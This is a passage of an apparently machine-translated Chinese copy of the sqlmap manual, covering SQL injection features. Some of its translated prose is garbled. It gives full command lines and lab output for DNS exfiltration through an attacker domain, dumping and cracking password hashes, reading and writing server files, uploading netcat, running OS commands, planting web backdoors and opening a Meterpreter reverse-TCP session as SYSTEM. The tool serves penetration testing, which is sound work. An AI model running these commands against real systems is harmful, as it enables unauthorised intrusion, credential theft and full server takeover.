DNS渗出SQL注入攻击在SQL注入攻击中的DNS数据检索中被描述,而在sqlmap中显示其实现的内容可以在幻灯片中使用sqlmap进行DNS exfiltration

如果用户正在控制注册为DNS域服务器(例如域名attacker.com)的机器,他可以通过使用此选项(例如--dns-domain attacker.com)来打开此攻击。它的前提条件是使用Administrator特权(特权端口的使用53)运行sqlmap,并且可以使用一种普通(盲)技术进行利用。这仅仅是这种攻击的目的是加速数据检索的过程,以至于已经识别了至少一种技术(最好的​​情况下是基于时间的盲)。在基于错误的盲或UNION查询技术可用的情况下,默认情况下将跳过优先级。

二次攻击

选项: --second-order

二阶SQL注入攻击是一种攻击,其中一个易受攻击的页面中注入的有效负载的结果在另一个(例如,帧)中显示(反映)。通常情况是因为用户在原始的弱势页面提供输入的数据库存储。

您可以手动告诉sqlmap通过使用选项--second-order与网页的URL地址来显示这种类型的SQL注入。

指纹

广泛的数据库管理系统指纹

开关:-f--fingerprint

默认情况下,Web应用程序的后端数据库管理系统指纹由sqlmap自动处理。在检测阶段完成之后,用户最终会提示选择哪个易受攻击的参数进一步使用,sqlmap指纹后端数据库管理系统,并继续注入,知道使用哪种SQL语法,方言和查询在数据库架构的范围内进行攻击。

如果对于任何实例,您都可以根据各种技术(如特定的SQL方言和带内错误消息)执行广泛的数据库管理系统指纹,您可以提供交换机--fingerprint。sqlmap将执行更多的请求和指纹,确切的DBMS版本以及可能的操作系统,架构和补丁级别。

如果要使指纹更准确的结果,您还可以提供开关-b--banner

列举

这些选项可用于枚举表中包含的后端数据库管理系统信息,结构和数据。此外,您可以运行自己的SQL语句。

检索全部

开关: --all

该开关可用于用户想要通过使用单个开关检索远程访问的情况。不推荐这样做,因为它会产生大量请求,以检索有用和无用的数据。

旗帜

切换:-b--banner

大多数现代数据库管理系统具有返回数据库管理系统版本的功能和/或环境变量,并最终在其补丁级别细节基础系统。通常功能是version()和环境变量@@version,但这取决于目标DBMS。

针对Oracle目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -\
-banner

[...]
[xx:xx:11] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:    'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

会话用户

开关: --current-user

使用此开关,可以从Web应用程序中检索数据库管理系统的用户,该用户有效地对后端DBMS执行查询。

当前数据库

开关: --current-db

使用此开关可以检索Web应用程序连接到的数据库管理系统的数据库名称。

服务器主机名

开关: --hostname

使用此开关可以检索数据库管理系统的主机名。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --\
hostname

[...]
[xx:xx:04] [INFO] fetching server hostname
[xx:xx:04] [INFO] retrieved: debian-5.0-i386
hostname:    'debian-5.0-i386'

检测会话用户是否是数据库管理员

开关: --is-dba

可以检测当前的数据库管理系统会话用户是否是数据库管理员,也称为DBA。sqlmap会返回True,反之亦然False

列出数据库管理系统用户

开关: --users

当会话用户对包含有关DBMS用户的信息的系统表进行读取访问时,可以枚举用户列表。

列出和破解数据库管理系统用户密码哈希

开关: --passwords

当会话用户对包含DBMS用户密码信息的系统表进行读取访问时,可以枚举每个数据库管理系统用户的口令散列。sqlmap将首先枚举用户,然后为每个用户添加不同的密码。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

不仅sqlmap枚举了DBMS用户及其密码,而且还将哈希格式识别为PostgreSQL,询问用户是否对字典文件进行哈希测试,并确定postgres用户的明文密码,通常是一个DBA沿着另一个用户testuser,密码。

对于可以枚举用户密码哈希的所有DBMS,包括Oracle和Microsoft SQL Server在2005年前后都已实施此功能。

您还可以提供选项-U来指定要枚举的特定用户,并最终破解密码哈希(es)。如果您CU以用户名身份提供,则将其视为当前用户的别名,并将检索此用户的密码哈希值。

列出数据库管理系统用户权限

开关: --privileges

当会话用户对包含有关DBMS用户信息的系统表进行读取访问时,可以枚举每个数据库管理系统用户的权限。通过权限,sqlmap还将显示哪些是数据库管理员。

您还可以提供选项-U来指定要列举权限的用户。

如果您CU以用户名身份提供,则将其视为当前用户的别名,并将枚举此用户的权限。

在Microsoft SQL Server上,此功能将显示每个用户是否是数据库管理员,而不是所有用户的权限列表。

列出数据库管理系统用户角色

开关: --roles

当会话用户对包含有关DBMS用户信息的系统表进行读取访问时,可以枚举每个数据库管理系统用户的角色。

您还可以提供选项-U来指定要列举权限的用户。

如果您CU以用户名身份提供,则将其视为当前用户的别名,并将枚举此用户的权限。

此功能仅在DBMS为Oracle时可用。

列出数据库管理系统的数据库

开关: --dbs

当会话用户对包含有关可用数据库的信息的系统表进行读取访问时,可以枚举数据库列表。

枚举数据库的表

开关和选项:--tables--exclude-sysdbs-D

当会话用户对包含有关数据库表的信息的系统表进行读取访问时,可以枚举特定数据库管理系统数据库的表的列表。

如果您不提供具有选项的特定数据库-D,则sqlmap将枚举所有DBMS数据库的表。

您还可以提供交换机--exclude-sysdbs来排除所有系统数据库。

请注意,在Oracle上,您必须提供TABLESPACE_NAME而不是数据库名称。

枚举数据库表列

开关和选项:--columns-C-T-D

当会话用户对包含有关数据库表的信息的系统表进行读取访问时,可以枚举特定数据库表的列的列表。sqlmap还枚举每列的数据类型。

此功能取决于-T用于指定表名称的选项,并可选择-D指定数据库名称。当未指定数据库名称时,将使用当前数据库名称。您还可以提供-C选项来指定表列列名称,例如您提供的枚举列名称。

针对SQLite目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -\
-columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column  | Type    |
+---------+---------+
| id      | INTEGER |
| name    | TEXT    |
| surname | TEXT    |
+---------+---------+

请注意,在PostgreSQL上,您必须提供public或系统数据库的名称。这是因为无法枚举其他数据库表,只能枚举Web应用程序用户连接到的模式下的表,它们总是由别名组成public

枚举数据库管理系统模式

开关:--schema--exclude-sysdbs

用户可以使用此开关检索DBMS模式。模式列表将包含所有数据库,表和列及其各自的类型。结合--exclude-sysdbs仅包含非系统数据库的模式的一部分将被检索和显示。

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --s\
chema--batch --exclude-sysdbs

[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+

Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| date         | datetime |
| blogger_name | text     |
| cid          | int(11)  |
| comment      | text     |
+--------------+----------+

Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| date     | datetime |
| browser  | text     |
| cid      | int(11)  |
| hostname | text     |
| ip       | text     |
| referer  | text     |
+----------+----------+

Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| id      | int(11)       |
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+
[...]

检索表的条目数

开关: --count

如果用户想要在转储所需的表之前知道表中的条目数,则他可以使用此开关。

针对Microsoft SQL Server目标的示例:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"\
 --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table          | Entries |
+----------------+---------+
| dbo.users      | 4       |
| dbo.users_blob | 2       |
+----------------+---------+

转储数据库表条目

开关和选项:--dump-C-T-D--start--stop--first--last--pivot-column--where

当会话用户具有对特定数据库表的读取访问权时,可以转储表条目。

此功能取决于-T指定表名称的选项-D,并且可选地依赖于选项来指定数据库名称。如果提供了表名,但数据库名称不是,则使用当前的数据库名称。

Firebird目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1"\
 --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

此开关也可用于转储提供的数据库的所有表的条目。你只需要提供sqlmap与交换机--dump,只有选项-D(否-T和否-C)。

您还可以提供使用该选项转储的特定列的逗号分隔列表-C

sqlmap还为每个表生成CSV格式的文本文件中的条目。您可以通过提供大于或等于1的详细程度级别来查看sqlmap创建文件的绝对路径。

如果要仅转储一系列条目,则可以提供选项--start和/或--stop分别开始从特定条目转储,并在某个条目中停止转储。例如,如果要仅转储第一个条目,请--stop 1在命令行中提供。反之亦然,如果你想只转储第二个和第三个条目,提供--start 1--stop 3

另外,也可以指定单个字符或者字符的范围与选择要转储的--first--last。例如,如果要从第三到第五个字符转储列的条目,请提供--first 3--last 5。此功能仅适用于盲SQL注入技术,因为基于错误和UNION查询SQL注入技术的请求数量完全相同,而不考虑列的输入输出到转储的长度。

有时(例如对于Microsoft SQL Server,Sybase和SAP MaxDB),OFFSET m, n由于缺少相似性,不可能通过使用机制直接转储表行。在这种情况下,sqlmap通过确定最适合的pivot列(最具唯一的值),其值稍后用于检索其他列值,来转储内容。如果需要强制使用特定的pivot列,因为自动选择的列不适合(例如,由于缺少表转储结果),您可以使用选项--pivot-column(例如--pivot-column=id)。

如果要将转储约束到特定的列值(或范围),可以使用选项--where。提供的逻辑操作将在WHERE子句内自动使用。例如,如果--where="id>3"仅使用值id大于3 的列的表行将被检索(通过附加WHERE id>3到使用的转储查询)。

正如你可能已经注意到,sqlmap是灵活的:您可以将其保留为自动转储整个数据库表,或者您可以非常精确地转储哪些字符,从哪些列和哪个范围的条目。

转储所有数据库表条目

开关:--dump-all--exclude-sysdbs

可以一次转储所有数据库表条目,以便会话用户具有读取访问权限。

您还可以提供交换机--exclude-sysdbs来排除所有系统数据库。在这种情况下,sqlmap只会转储用户数据库表的条目。

请注意,在Microsoft SQL Server上,master数据库不被视为系统数据库,因为某些数据库管理员将其用作用户数据库。

搜索列,表或数据库

开关和选项:--search-C-T-D

此开关允许您在所有数据库表中的所有数据库或特定列中搜索特定的数据库名称,特定表

这是有用的,例如,识别包含自定义应用程序凭据的表,其中相关列的名称包含字符串,如名称通过

开关--search需要与以下支持选项一起使用:

  • -C 遵循在整个数据库管理系统中查找的以逗号分隔的列名称的列表。
  • -T 遵循在整个数据库管理系统中查找的以逗号分隔的表名称的列表。
  • -D 遵循在数据库管理系统中查找的以逗号分隔的数据库名称的列表。

运行自定义SQL语句

选项和开关:--sql-query--sql-shell

SQL查询和SQL shell功能允许在数据库管理系统上运行任意SQL语句。sqlmap自动解析提供的语句,确定哪种技术适合用于注入它,以及如何相应地打包SQL有效负载。

如果查询是一个SELECT语句,sqlmap将检索其输出。否则,如果Web应用程序支持后端数据库管理系统上的多个语句,它将通过堆栈查询SQL注入技术执行查询。请注意,某些Web应用程序技术不支持特定数据库管理系统上的堆叠查询。例如,当后端DBMS是MySQL时,PHP不支持堆栈查询,但是后端DBMS是PostgreSQL时,它支持。

针对Microsoft SQL Server 2000目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo'" -v 1

[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':    'foo'

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --\
sql-query "SELECT 'foo', 'bar'" -v 2

[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now 
unpack it into distinct queries to be able to retrieve the output even if we are
 going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS 
VARCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VA
RCHAR(8000)), (CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':    'foo, bar'

如您所见,sqlmap将提供的查询分解为两个不同的SELECT语句,然后检索每个单独查询的输出。

如果提供的查询是一个SELECT语句并包含一个FROM子句,sqlmap会询问您是否可以返回多个条目。在这种情况下,该工具知道如何正确打包查询,以计算可能条目的数量并检索其输出,每个条目的条目。

SQL shell选项允许您以交互方式运行自己的SQL语句,如连接到数据库管理系统的SQL控制台。此功能还提供TAB完成和历史支持。

强力

这些开关可用于执行强力检查。

强力表名称

开关: --common-tables

有些情况下,switch --tables不能用于检索数据库的表名。这些情况通常符合以下类别之一:

  • 数据库管理系统是MySQL <5.0information_schema不可用。
  • 数据库管理系统是Microsoft Access和系统表 MSysObjects不可读 - 默认设置。
  • 会话用户对于存储数据库方案的系统表没有读取权限。

如果前两种情况中的任何一种适用,并且您提供了交换机--tables,则sqlmap将提示您回到此技术。这些情况都适用于您的情况,如果您提供交换机,sqlmap可能仍然会识别一些现有的表--common-tables。sqlmap将执行强力攻击,以便检测跨DBMS的公用表的存在。

公用表名的列表是 txt/common-tables.txt您可以根据需要进行编辑。

针对MySQL 4.1目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --commo\
n-tables -D testdb --banner

[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:    '4.1.21-community-nt'

[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/tx
t/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users

Database: testdb
[1 table]
+-------+
| users |
+-------+

强力列名称

开关: --common-columns

根据表,有些情况下--columns不能使用switch 来检索数据库的表的列名。这些情况通常符合以下类别之一:

  • 数据库管理系统是MySQL <5.0information_schema不可用。
  • 数据库管理系统是Microsoft Access,这种信息在系统表中不可用。
  • 会话用户对于存储数据库方案的系统表没有读取权限。

如果前两种情况中的任何一种适用,并且您提供了交换机--columns,则sqlmap将提示您回到此技术。这些情况都适用于您的情况,如果您提供交换机,sqlmap可能仍然会识别一些现有的表--common-columns。sqlmap将执行强力攻击,以便检测跨DBMS的公共列的存在。

公用表名列表是txt/common-columns.txt您可以根据需要进行编辑。

用户自定义功能注入

这些选项可用于创建自定义用户定义的功能。

注入自定义用户定义的函数(UDF)

开关和选项:--udf-inject--shared-lib

您可以通过编译MySQL或PostgreSQL共享库(Windows的DLL和Linux / Unix共享对象)来注入自己的用户定义的函数(UDF),然后为您的机器上的本地存储共享库的路径提供sqlmap。然后,sqlmap会问你一些问题,在数据库服务器文件系统上上传共享库,从中创建用户定义的函数,并根据您的选项执行它们。当您完成使用注入的UDF时,sqlmap也可以为您从数据库中删除它们。

这些技术在白皮书Advanced SQL注入到操作系统的完全控制中有详细说明。

使用选项--udf-inject并按照说明进行操作。

如果需要,也可以使用--shared-lib选项通过命令行指定共享库本地文件系统路径。反之亦然,sqlmap会在运行时询问您的路径。

此功能仅在数据库管理系统为MySQL或PostgreSQL时可用。

文件系统访问

从数据库服务器的文件系统读取文件

选项: --file-read

当后台数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以从底层文件系统检索文件的内容,会话用户具有滥用数据库特定功能和架构弱点所需的权限。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。

这些技术在白皮书Advanced SQL注入到操作系统的完全控制中有详细说明。

针对Microsoft SQL Server 2005目标来检索二进制文件的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?nam\
e=luther" --file-read "C:/example.exe" -v 1

[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:    '/software/sqlmap/output/192.168.136.129/files/
C__example.exe'
[...]

$ ls -l output/192.168.136.129/files/C__example.exe 
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C_
_example.exe

$ file output/192.168.136.129/files/C__example.exe 
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI
) Intel 80386 32-bit

将文件上传到数据库服务器的文件系统

选项:--file-write--file-dest

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,可以将本地文件上传到数据库服务器的文件系统,会话用户具有滥用数据库特定功能和体系结构弱点所需的权限。指定的文件可以是文本文件或二进制文件。sqlmap将正确处理它。

这些技术在白皮书Advanced SQL注入到操作系统的完全控制中有详细说明。

针对上传二进制UPX压缩文件的MySQL目标的示例:

$ file /software/nc.exe.packed 
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32
-bit

$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" -\
-file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0

[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success
fully written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 b
ytes, same size as the local file '/software/nc.exe.packed'

操作系统接管

运行任意操作系统命令

选项和开关:--os-cmd--os-shell

它可以在数据库服务器的底层操作系统上运行任意命令时,后端数据库管理系统或者是MySQL和PostgreSQL或Microsoft SQL Server和会话用户具有所需的权限滥用数据库特定的功能和架构的弱点。

上MySQL和PostgreSQL,SqlMap的上传(经由文件上传功能如上所述)含有两个用户定义函数的共享库(二进制文件),sys_exec()sys_eval(),然后将其在数据库上创建这两个函数和调用它们中的一个来执行指定的命令,取决于用户的选择来显示标准输出。在Microsoft SQL Server上,sqlmap滥用xp_cmdshell存储过程:如果禁用(默认情况下,Microsoft SQL Server> = 2005),sqlmap将重新启用它; 如果不存在,sqlmap会从头创建它。

当用户请求标准输出时,sqlmap使用枚举SQL注入技术(盲目,带内或基于错误)来检索它。反之亦然,如果不需要标准输出,则使用堆栈查询SQL注入技术来执行命令。

这些技术在白皮书Advanced SQL注入到操作系统的完全控制中有详细说明。

针对PostgreSQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --\
os-cmd id -v 1

[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:    'uid=104(postgres) gid=106(postgres) groups=106(post
gres)'

[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file sys
tem can only be deleted manually

也可以模拟一个真正的shell,您可以根据需要键入任意多个任意命令。该选项是--os-shell和具有相同的TAB完成和历史功能--sql-shell

在Web应用程序(例如,具有后台数据库管理系统为MySQL的PHP​​或ASP)和DBMS是MySQL的堆栈查询中,仍然可以滥用该SELECT条款INTO OUTFILE在可写文件夹中创建一个Web后门Web服务器文档根目录,并且仍然得到命令执行,假设后端DBMS和Web服务器托管在同一台服务器上。sqlmap支持这种技术,并允许用户提供逗号分隔的可能文件根子文件夹的列表,其中尝试上传Web文件分段和随后的Web后门。另外,sqlmap有自己的测试的web文件stagers和以下语言的后门程序:

  • ASP
  • ASP.NET
  • JSP
  • PHP

带外有状态连接:Meterpreter和朋友

开关和选项:--os-pwn--os-smbrelay--os-bof--priv-esc--msf-path--tmp-path

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server时,有可能在攻击者机器和底层操作系统的数据库服务器之间建立一个带外有状态的TCP连接,会话用户需要特权滥用数据库特定功能和架构弱点。根据用户的选择,此通道可以是交互式命令提示符,Meterpreter会话或图形用户界面(VNC)会话。

sqlmap依赖于Metasploit来创建shellcode并实现四种不同的技术来在数据库服务器上执行它。这些技术是:

  • 数据库内存中执行Metasploit的shellcode通过sqlmap自己的用户定义函数sys_bineval()。支持MySQL和PostgreSQL - 切换--os-pwn
  • 通过MySQL和PostgreSQL上的sqlmap自己的用户定义函数或通过Microsoft SQL Server - 交换机上载和执行Metasploit的独立有效负载sys_exec()xp_cmdshell()--os-pwn
  • 通过执行SMB反射攻击MS08-068)执行Metasploit的shellcode,并使用UNC路径请求从数据库服务器访问Metasploit smb_relay服务器攻击的攻击者机器。uid=0在Linux / Unix上使用高权限()运行sqlmap时支持,目标DBMS以Windows - 交换机的管理员身份运行--os-smbrelay
  • 通过利用Microsoft SQL Server 2000和2005 sp_replwritetovarbin存储过程基于堆的缓冲区溢出MS09-004),数据库内存中执行Metasploit的shellcode 。sqlmap有自己的漏洞利用自动DEP内存保护旁路来触发漏洞,但它依赖于Metasploit来生成shellcode,以便在成功利用时执行切换--os-bof

这些技术在白皮书Advanced SQL注入到操作系统完全控制和幻灯片表中详细介绍了从数据库扩展对操作系统的控制

针对MySQL目标的示例:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?\
id=1" --os-pwn --msf-path /software/metasploit

[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
> 
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database und
erlying operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
> 
[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode 
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on 
all ports 
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
> 
which is the local address? [192.168.136.1] 
which local port number do you want to use? [60641] 
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, p
lease wait..

                                _
                                | |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                        /|
                        \|


    =[ metasploit v3.7.0-dev [core:3.7 api:1.0]
+ -- --=[ 674 exploits - 351 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641 
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF 'sys_b
ineval', please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) a
t Mon Apr 11 hh:mm:52 +0100 2011

meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > Loading extension sniffer...success.
meterpreter > System Language : en_US
OS              : Windows .NET Server (Build 3790, Service Pack 2).
Computer        : W2K3R2
Architecture    : x86
Meterpreter     : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address  : 192.168.136.129
Netmask     : 255.255.255.0


meterpreter > exit

[*] Meterpreter session 1 closed.  Reason: User exit

默认情况下,MySQL在Windows上运行SYSTEM,但PostgreSQL作为postgresWindows和Linux上的低权限用户运行。Microsoft SQL Server 2000默认运行SYSTEM,而Microsoft SQL Server 2005和2008运行大多数时间NETWORK SERVICE,有时也如此LOCAL SERVICE

可以通过Metasploit的命令来提供带切换的sqlmap --priv-esc来执行数据库进程的用户权限升级getsystem其中包括kitrap0d技术(MS10-015)。

Windows注册表访问

当后端数据库管理系统是MySQL,PostgreSQL或Microsoft SQL Server以及Web应用程序支持堆叠查询时,可以访问Windows注册表。此外,会话用户必须具有访问它所需的权限。

读取Windows注册表项值

开关: --reg-read

使用此开关可以读取注册表项值。

编写Windows注册表项值

开关: --reg-add

使用此开关可以写入注册表项值。

删除Windows注册表项

开关: --reg-del

使用此开关可以删除注册表项。

辅助注册表选项

选项:--reg-key--reg-value--reg-data--reg-type

这些选项可以被用于提供所需的开关的适当的运行数据--reg-read--reg-add和 --reg-del。所以,而不是提供注册表项信息时,可以在命令提示符下使用它们作为程序参数。

使用--reg-key选项可以指定使用的Windows注册表项路径,其中--reg-value带有--reg-data值数据的提供的键中的值项名称,而使用--reg-type选项指定值项的类型。

添加注册表项配置单元的示例命令行如下:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --r\
eg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-ty\
pe=REG_SZ --reg-data=1

一般

这些选项可用于设置一些一般工作参数。

从存储的(.sqlite)文件加载会话

选项: -s

sqlmap自动为每个目标创建一个持久会话SQLite文件,在专用输出目录下,存储会话恢复所需的所有数据。如果用户想要明确设置会话文件位置(例如,为了在一个地方存储多个目标的会话数据),他可以使用此选项。

将HTTP流量记录到文本文件

选项: -t

此选项需要一个参数,指定文本文件以写入由sqlmap - HTTP(S)请求和HTTP(S)响应生成的所有HTTP流量。

这主要用于调试目的 - 当您向开发人员提供潜在的错误报告时,也会发送此文件。

以非互动模式行事

开关: --batch

如果您希望sqlmap作为批处理工具运行,而在sqlmap需要时不需要任何用户的交互,可以使用switch来强制执行--batch。每当需要用户的输入时,这将使sqlmap与默认行为保持一致。

二进制内容检索

选项 --binary-fields

在二进制内容检索的情况下,像具有存储二进制值的列(例如password具有二进制存储密码散列值的列)的表的示例中,可以使用--binary-fieldssqlmap的(额外)适当处理的选项。然后检索所有这些字段(即表列)并以其十六进制表示形式表示,因此,它们可以用其他工具(例如john)进行适当的处​​理。

自定义(盲)SQL注入字符集

选项: --charset

在基于布尔的盲目和基于时间的盲目SQL注入案例中,用户可以强制使用自定义字符集来加快数据检索过程。例如,在转储消息摘要值(例如SHA1)的情况下,通过使用(例如)--charset="0123456789abcdef"预期的请求数量比常规运行大约少30%。

从目标网址开始抓取网站

选项: --crawl

